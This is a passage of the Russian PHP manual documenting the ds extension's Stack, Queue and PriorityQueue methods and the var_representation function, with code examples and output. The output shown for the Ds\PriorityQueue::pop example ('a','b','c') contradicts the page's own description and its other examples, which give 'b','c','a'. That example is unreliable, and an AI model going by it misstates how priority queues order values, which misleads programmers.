Ds\Stack::push

(PECL ds >= 1.0.0)

Ds\Stack::push — Добавляет значения в стек

Описание

public Ds\Stack::push(mixed ...$values): void

Добавляет значения values в стек

Список параметров

values

Добавляемые значения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Stack::push()

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c", "d");
$stack->push(...["e", "f"]);

print_r($stack);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Stack Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

ishaankesari7 at gmail dot com 24-Jan-2017 05:23
If  "f " is put at the  last so it should be on the top of the stack not at the bottom.


Преобразует коллекцию в массив (array)

  • « Ds\Stack::push
  • Ds\Queue »
  • PHP Manual
  • Ds\Stack
  • Преобразует коллекцию в массив (array)

Ds\Stack::toArray

(PECL ds >= 1.0.0)

Ds\Stack::toArray — Преобразует коллекцию в массив (array)

Описание

public Ds\Stack::toArray(): array

Преобразует коллекцию в array.

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Stack::toArray()

<?php
$stack = new \Ds\Stack([1, 2, 3]);

var_dump($stack->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Queue

(PECL ds >= 1.0.0)

Введение

Очередь - это коллекция типа "Первый вошёл, первый вышел" (First In, First Out или FIFO), которая позволяет работать только с самым первым значением. Итерация происходит от начала к концу с удалением взятого элемента.

Обзор классов

class Ds\Queue implements Ds\Collection, ArrayAccess {
/* Константы */
const int MIN_CAPACITY = 8;
/* Методы */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\Queue
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed ...$values): void
public toArray(): array
}

Предопределённые константы

Ds\Queue::MIN_CAPACITY

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Queue::allocate — Выделяет память под указанную вместимость
  • Ds\Queue::capacity — Возвращает текущую вместимость
  • Ds\Queue::clear — Удаляет все значения
  • Ds\Queue::__construct — Создаёт новый экземпляр
  • Ds\Queue::copy — Возвращает поверхностную копию очереди
  • Ds\Queue::count — Возвращает количество элементов очереди
  • Ds\Queue::isEmpty — Проверяет, пуста ли коллекция
  • Ds\Queue::jsonSerialize — Возвращает коллекцию в JSON-представлении
  • Ds\Queue::peek — Возвращает значение из начала очереди
  • Ds\Queue::pop — Удаляет и возвращает значение из начала очереди
  • Ds\Queue::push — Добавляет значения в очередь
  • Ds\Queue::toArray — Преобразует коллекцию в массив (array)

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\Queue
  • Ds\Queue::capacity »
  • PHP Manual
  • Ds\Queue
  • Выделяет память под указанную вместимость

Ds\Queue::allocate

(PECL ds >= 1.0.0)

Ds\Queue::allocate — Выделяет память под указанную вместимость

Описание

public Ds\Queue::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического перераспределения памяти при добавлении значений.

Замечание:

Значение вместимости округляется до ближайшей степени двойки (т.е. 8, 16, 32, 64, 128 и т.д.)

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то она не изменится.

Замечание:

Значение вместимости округляется до ближайшей степени двойки (т.е. 8, 16, 32, 64, 128 и т.д.)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Queue::allocate()

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Queue::allocate
  • Ds\Queue::clear »
  • PHP Manual
  • Ds\Queue
  • Возвращает текущую вместимость

Ds\Queue::capacity

(PECL ds >= 1.0.0)

Ds\Queue::capacity — Возвращает текущую вместимость

Описание

public Ds\Queue::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Queue::capacity()

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->push(...range(1, 50));
var_dump($queue->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения

  • « Ds\Queue::capacity
  • Ds\Queue::__construct »
  • PHP Manual
  • Ds\Queue
  • Удаляет все значения

Ds\Queue::clear

(PECL ds >= 1.0.0)

Ds\Queue::clear — Удаляет все значения

Описание

public Ds\Queue::clear(): void

Удаляет все значения из очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Queue::clear()

<?php
$queue = new \Ds\Queue([1, 2, 3]);
print_r($queue);

$queue->clear();
print_r($queue);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр

  • « Ds\Queue::clear
  • Ds\Queue::copy »
  • PHP Manual
  • Ds\Queue
  • Создаёт новый экземпляр

Ds\Queue::__construct

(PECL ds >= 1.0.0)

Ds\Queue::__construct — Создаёт новый экземпляр

Описание

public Ds\Queue::__construct(mixed $values = ?)

Создаёт новый экземпляр, используя либо объект, реализующий traversable, либо массив, переданные в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Queue::__construct()

<?php
$queue = new \Ds\Queue();
var_dump($queue);

$queue = new \Ds\Queue([1, 2, 3]);
var_dump($queue);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Queue)#2 (0) {
}
object(Ds\Queue)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию очереди

  • « Ds\Queue::__construct
  • Ds\Queue::count »
  • PHP Manual
  • Ds\Queue
  • Возвращает поверхностную копию очереди

Ds\Queue::copy

(PECL ds >= 1.0.0)

Ds\Queue::copy — Возвращает поверхностную копию очереди

Описание

public Ds\Queue::copy(): Ds\Queue

Возвращает поверхностную копию очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия очереди.

Примеры

Пример #1 Пример использования Ds\Queue::copy()

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = $a->copy();

// Изменение копии не отражается на оригинале
$b->push(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов очереди

  • « Ds\Queue::copy
  • Ds\Queue::isEmpty »
  • PHP Manual
  • Ds\Queue
  • Возвращает количество элементов очереди

Ds\Queue::count

(PECL ds >= 1.0.0)

Ds\Queue::count — Возвращает количество элементов очереди

Смотрите Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\Queue::count
  • Ds\Queue::jsonSerialize »
  • PHP Manual
  • Ds\Queue
  • Проверяет, пуста ли коллекция

Ds\Queue::isEmpty

(PECL ds >= 1.0.0)

Ds\Queue::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\Queue::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если коллекция пуста, false в противном случае.

Примеры

Пример #1 Пример использования Ds\Queue::isEmpty()

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = new \Ds\Queue();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представлении

  • « Ds\Queue::isEmpty
  • Ds\Queue::peek »
  • PHP Manual
  • Ds\Queue
  • Возвращает коллекцию в JSON-представлении

Ds\Queue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Queue::jsonSerialize — Возвращает коллекцию в JSON-представлении

Смотрите JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение из начала очереди

  • « Ds\Queue::jsonSerialize
  • Ds\Queue::pop »
  • PHP Manual
  • Ds\Queue
  • Возвращает значение из начала очереди

Ds\Queue::peek

(PECL ds >= 1.0.0)

Ds\Queue::peek — Возвращает значение из начала очереди

Описание

public Ds\Queue::peek(): mixed

Возвращает значение из начала очереди, но не удаляет его.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение из начала очереди.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Queue::peek()

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->peek());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение из начала очереди

  • « Ds\Queue::peek
  • Ds\Queue::push »
  • PHP Manual
  • Ds\Queue
  • Удаляет и возвращает значение из начала очереди

Ds\Queue::pop

(PECL ds >= 1.0.0)

Ds\Queue::pop — Удаляет и возвращает значение из начала очереди

Описание

public Ds\Queue::pop(): mixed

Удаляет и возвращает значение из начала очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Удалённое значение из начала очереди.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Queue::pop()

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->pop());
var_dump($queue->pop());
var_dump($queue->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в очередь

  • « Ds\Queue::pop
  • Ds\Queue::toArray »
  • PHP Manual
  • Ds\Queue
  • Добавляет значения в очередь

Ds\Queue::push

(PECL ds >= 1.0.0)

Ds\Queue::push — Добавляет значения в очередь

Описание

public Ds\Queue::push(mixed ...$values): void

Добавляет значения values в очередь.

Список параметров

values

Добавляемые значения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Queue::push()

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c", "d");
$queue->push(...["e", "f"]);

print_r($queue);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Queue Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует коллекцию в массив (array)

  • « Ds\Queue::push
  • Ds\PriorityQueue »
  • PHP Manual
  • Ds\Queue
  • Преобразует коллекцию в массив (array)

Ds\Queue::toArray

(PECL ds >= 1.0.0)

Ds\Queue::toArray — Преобразует коллекцию в массив (array)

Описание

public Ds\Queue::toArray(): array

Преобразует коллекцию в массив (array).

Замечание:

Приведение к типу array пока не поддерживается.

Замечание:

Этот метод не является разрушительным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Queue::toArray()

<?php
$queue = new \Ds\Queue([1, 2, 3]);

var_dump($queue->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Класс PriorityQueue

(PECL ds >= 1.0.0)

Введение

Очередь с приоритетом очень похожа на обычную очередь. Значения добавляются в очередь с заданным приоритетом, и значения с более высоким приоритетом всегда будут находиться ближе к началу.

Реализована с использованием максимальной кучи.

Замечание:

Порядок FIFO сохраняется у значений с одинаковым приоритетом.

Замечание:

Итерация через очередь происходит с удалением взятого элемента. Эквивалентно использованию оператора pop, пока очередь не станет пустой.

Обзор классов

class Ds\PriorityQueue implements Ds\Collection {
/* Константы */
const int MIN_CAPACITY = 8;
/* Методы */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\PriorityQueue
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed $value, int $priority): void
public toArray(): array
}

Предопределённые константы

Ds\PriorityQueue::MIN_CAPACITY

Содержание

  • Ds\PriorityQueue::allocate — Выделяет память под указанную вместимость
  • Ds\PriorityQueue::capacity — Возвращает текущую вместимость
  • Ds\PriorityQueue::clear — Удаляет все значения
  • Ds\PriorityQueue::__construct — Создаёт новый экземпляр
  • Ds\PriorityQueue::copy — Возвращает поверхностную копию очереди
  • Ds\PriorityQueue::count — Возвращает количество элементов в очереди
  • Ds\PriorityQueue::isEmpty — Проверяет, пуста ли коллекция
  • Ds\PriorityQueue::jsonSerialize — Возвращает коллекцию в JSON-представление
  • Ds\PriorityQueue::peek — Возвращает значение из начала очереди
  • Ds\PriorityQueue::pop — Удаляет и возвращает значение с наивысшим приоритетом
  • Ds\PriorityQueue::push — Добавляет значение в очередь
  • Ds\PriorityQueue::toArray — Преобразует очередь в массив (array)

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\PriorityQueue
  • Ds\PriorityQueue::capacity »
  • PHP Manual
  • Ds\PriorityQueue
  • Выделяет память под указанную вместимость

Ds\PriorityQueue::allocate

(PECL ds >= 1.0.0)

Ds\PriorityQueue::allocate — Выделяет память под указанную вместимость

Описание

public Ds\PriorityQueue::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического перераспределения памяти при добавлении значений.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то оно не изменится.

Замечание:

Значение вместимости округляется вверх до ближайшей степени двойки (т.е. 8, 16, 32, 64, 128 и т.д.)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::allocate()

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\PriorityQueue::allocate
  • Ds\PriorityQueue::clear »
  • PHP Manual
  • Ds\PriorityQueue
  • Возвращает текущую вместимость

Ds\PriorityQueue::capacity

(PECL ds >= 1.0.0)

Ds\PriorityQueue::capacity — Возвращает текущую вместимость

Описание

public Ds\PriorityQueue::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::capacity()

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения

  • « Ds\PriorityQueue::capacity
  • Ds\PriorityQueue::__construct »
  • PHP Manual
  • Ds\PriorityQueue
  • Удаляет все значения

Ds\PriorityQueue::clear

(PECL ds >= 1.0.0)

Ds\PriorityQueue::clear — Удаляет все значения

Описание

public Ds\PriorityQueue::clear(): void

Удаляет все значения из очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::clear()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

$queue->clear();
print_r($queue);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\PriorityQueue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр

  • « Ds\PriorityQueue::clear
  • Ds\PriorityQueue::copy »
  • PHP Manual
  • Ds\PriorityQueue
  • Создаёт новый экземпляр

Ds\PriorityQueue::__construct

(PECL ds >= 1.0.0)

Ds\PriorityQueue::__construct — Создаёт новый экземпляр

Описание

public Ds\PriorityQueue::__construct()

Создаёт новый экземпляр.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::__construct()

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\PriorityQueue)#1 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию очереди

  • « Ds\PriorityQueue::__construct
  • Ds\PriorityQueue::count »
  • PHP Manual
  • Ds\PriorityQueue
  • Возвращает поверхностную копию очереди

Ds\PriorityQueue::copy

(PECL ds >= 1.0.0)

Ds\PriorityQueue::copy — Возвращает поверхностную копию очереди

Описание

public Ds\PriorityQueue::copy(): Ds\PriorityQueue

Возвращает поверхностную копию очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия очереди.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::copy()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->copy());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\PriorityQueue Object
(
    [0] => b
    [1] => c
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в очереди

  • « Ds\PriorityQueue::copy
  • Ds\PriorityQueue::isEmpty »
  • PHP Manual
  • Ds\PriorityQueue
  • Возвращает количество элементов в очереди

Ds\PriorityQueue::count

(PECL ds >= 1.0.0)

Ds\PriorityQueue::count — Возвращает количество элементов в очереди

Смотрите Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\PriorityQueue::count
  • Ds\PriorityQueue::jsonSerialize »
  • PHP Manual
  • Ds\PriorityQueue
  • Проверяет, пуста ли коллекция

Ds\PriorityQueue::isEmpty

(PECL ds >= 1.0.0)

Ds\PriorityQueue::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\PriorityQueue::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если очередь пуста, false в противном случае.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::isEmpty()

<?php
$a = new \Ds\PriorityQueue();
$b = new \Ds\PriorityQueue();

$a->push("a", 5);
$a->push("b", 15);
$a->push("c", 10);

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представление

  • « Ds\PriorityQueue::isEmpty
  • Ds\PriorityQueue::peek »
  • PHP Manual
  • Ds\PriorityQueue
  • Возвращает коллекцию в JSON-представление

Ds\PriorityQueue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\PriorityQueue::jsonSerialize — Возвращает коллекцию в JSON-представление

Смотрите JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение из начала очереди

  • « Ds\PriorityQueue::jsonSerialize
  • Ds\PriorityQueue::pop »
  • PHP Manual
  • Ds\PriorityQueue
  • Возвращает значение из начала очереди

Ds\PriorityQueue::peek

(PECL ds >= 1.0.0)

Ds\PriorityQueue::peek — Возвращает значение из начала очереди

Описание

public Ds\PriorityQueue::peek(): mixed

Возвращает значение из начала очереди, но не удаляет его.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение из начала очереди.

Ошибки

Выбрасывает исключение UnderflowException, если очередь пуста.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::peek()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->peek());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "b"

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение с наивысшим приоритетом

  • « Ds\PriorityQueue::peek
  • Ds\PriorityQueue::push »
  • PHP Manual
  • Ds\PriorityQueue
  • Удаляет и возвращает значение с наивысшим приоритетом

Ds\PriorityQueue::pop

(PECL ds >= 1.0.0)

Ds\PriorityQueue::pop — Удаляет и возвращает значение с наивысшим приоритетом

Описание

public Ds\PriorityQueue::pop(): mixed

Удаляет и возвращает значение из начала очереди, т.е. значение с наивысшим приоритетом.

Замечание:

Значения с одинаковым приоритетом возвращаются по принципу FIFO.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Удалённое значение из начала очереди.

Ошибки

Выбрасывает исключение UnderflowException, если очередь пуста.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::pop()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значение в очередь

  • « Ds\PriorityQueue::pop
  • Ds\PriorityQueue::toArray »
  • PHP Manual
  • Ds\PriorityQueue
  • Добавляет значение в очередь

Ds\PriorityQueue::push

(PECL ds >= 1.0.0)

Ds\PriorityQueue::push — Добавляет значение в очередь

Описание

public Ds\PriorityQueue::push(mixed $value, int $priority): void

Добавляет value с заданным приоритетом priority в очередь.

Список параметров

value

Добавляемое значение.

priority

Приоритет, с которым добавляется значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::push()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "b"
string(1) "c"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Преобразует очередь в массив (array)

  • « Ds\PriorityQueue::push
  • var_representation »
  • PHP Manual
  • Ds\PriorityQueue
  • Преобразует очередь в массив (array)

Ds\PriorityQueue::toArray

(PECL ds >= 1.0.0)

Ds\PriorityQueue::toArray — Преобразует очередь в массив (array)

Описание

public Ds\PriorityQueue::toArray(): array

Преобразует очередь в массив (array).

Замечание:

Этот метод не является разрушительным.

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы очереди с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\PriorityQueue::toArray()

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  string(1) "b"
  [1]=>
  string(1) "c"
  [2]=>
  string(1) "a"
}

User Contributed Notes

There are no user contributed notes for this page.


var_representation

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Предопределённые константы
  • Функции var_representation
    • var_representation — Возвращает короткое, читаемое, разборчивое строковое представление переменной

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль var_presentation предоставляет компактную альтернативу var_export(), которая должным образом экранирует управляющие символы.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/var_representation.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

VAR_REPRESENTATION_SINGLE_LINE (int)
var_representation() - флаг, указывающий, что символы новой строки не должны использоваться для пробелов в представлениях переменных.
VAR_REPRESENTATION_UNESCAPED (int)
var_representation() - флаг, указывающий, что строки должны быть закодированы как строки в одинарных кавычках с неэкранированными управляющими символами.

User Contributed Notes

There are no user contributed notes for this page.


Функции var_representation

Содержание

  • var_representation — Возвращает короткое, читаемое, разборчивое строковое представление переменной

User Contributed Notes

There are no user contributed notes for this page.


Возвращает короткое, читаемое, разборчивое строковое представление переменной

  • « Функции var_representation
  • Другие службы »
  • PHP Manual
  • Функции var_representation
  • Возвращает короткое, читаемое, разборчивое строковое представление переменной

var_representation

(PECL var_representation >= 0.1.0)

var_representation — Возвращает короткое, читаемое, разборчивое строковое представление переменной

Описание

var_representation(mixed $value, int $flags = 0): string

var_representation() (модуль PECL var_representation) возвращает строку со структурированной информацией о данной переменной. Функция похожа на var_export() с различиями в отступах, экранировании строк и представлениях массива.

Список параметров

value

Переменная, для которой создаётся представление.

flags

Битовая маска, состоящая из: VAR_REPRESENTATION_SINGLE_LINE, VAR_REPRESENTATION_UNESCAPED. Поведение этих констант описано на странице константы var_representation.

Возвращаемые значения

Возвращает представление переменной.

Примеры

Пример #1 Пример использования var_representation()

<?php
$a = [1, 2, ['key' => 'value']];
echo var_representation($a), "\n";
echo var_representation($a, VAR_REPRESENTATION_SINGLE_LINE), "\n";
?>

Результат выполнения данного примера:

[
  1,
  2,
  [
    'key' => 'value',
  ],
]
[1, 2, ['key' => 'value']]

Пример #2 Экранирование управляющих символов

<?php
echo var_representation("Content-Length: 123\r\n");

Результат выполнения данного примера:

"Content-Length: 123\r\n"

Пример #3 Экспорт stdClass

<?php
$person = new stdClass;
$person->name = 'ElePHPant ElePHPantsdotter';
$person->website = 'https://php.net/elephpant.php';

echo var_representation($person);

Результат выполнения данного примера:

(object) [
  'name' => 'ElePHPant ElePHPantsdotter',
  'website' => 'https://php.net/elephpant.php',
]

Пример #4 Экспортирование классов

<?php
class A { public $var; }
$a = new A;
$a->var = 5;
echo var_representation($a);
?>

Результат выполнения данного примера:

\A::__set_state([
  'var' => 5,
])

Пример #5 Пример использования __set_state()

<?php
class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_representation($a) . ';'); // $b = \A::__set_state([
// 'var1' => 5,
// 'var2' => 'foo',
// ]);
var_dump($b);
?>

Результат выполнения данного примера:

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

Смотрите также

  • var_export() - Выводит или возвращает интерпретируемое строковое представление переменной

User Contributed Notes

There are no user contributed notes for this page.


Другие службы

  • cURL — Клиентская библиотека работы с URL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции cURL
    • CurlHandle — Класс CurlHandle
    • CurlMultiHandle — Класс CurlMultiHandle
    • CurlShareHandle — Класс CurlShareHandle
    • CURLFile — Класс CURLFile
    • CURLStringFile — Класс CURLStringFile
  • Event
    • Введение
    • Установка и настройка
    • Примеры
    • Флаги событий
    • О постоянных(persistent) событиях
    • Callback-функции
    • Создание событий для сигналов
    • Event — Класс Event
    • EventBase — Класс EventBase
    • EventBuffer — Класс EventBuffer
    • EventBufferEvent — Класс EventBufferEvent
    • О callback-функциях событийного буфера
    • EventConfig — Класс EventConfig
    • EventDnsBase — Класс EventDnsBase
    • EventHttp — Класс EventHttp
    • EventHttpConnection — Класс EventHttpConnection
    • EventHttpRequest — Класс EventHttpRequest
    • EventListener — Класс EventListener
    • EventSslContext — Класс EventSslContext
    • EventUtil — Класс EventUtil
  • FTP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции FTP
    • FTP\Connection — Класс FTP\Connection
  • Gearman
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • GearmanClient — Класс GearmanClient
    • GearmanJob — Класс GearmanJob
    • GearmanTask — Класс GearmanTask
    • GearmanWorker — Класс GearmanWorker
    • GearmanException — Класс GearmanException
  • LDAP — Облегчённый протокол доступа к каталогам (LDAP)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Использование вызовов PHP LDAP
    • Управляющие объекты LDAP
    • Примеры
    • Функции LDAP
    • LDAP\Connection — Класс LDAP\Connection
    • LDAP\Result — Класс LDAP\Result
    • LDAP\ResultEntry — Класс LDAP\ResultEntry
  • Memcache
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Memcache — Класс Memcache
    • Функции Memcache
  • Memcached
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Время хранения объекта
    • Функции обратного вызова
    • Поддержка сессий
    • Memcached — Класс Memcached
    • MemcachedException — Класс MemcachedException
  • mqseries
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции mqseries
  • Сеть
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Сетевые функции
  • RRD — RRDtool
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции RRD
    • RRDCreator — Класс RRDCreator
    • RRDGraph — Класс RRDGraph
    • RRDUpdater — Класс RRDUpdater
  • ScoutAPM
    • Введение
    • Установка и настройка
    • Предопределённые константы
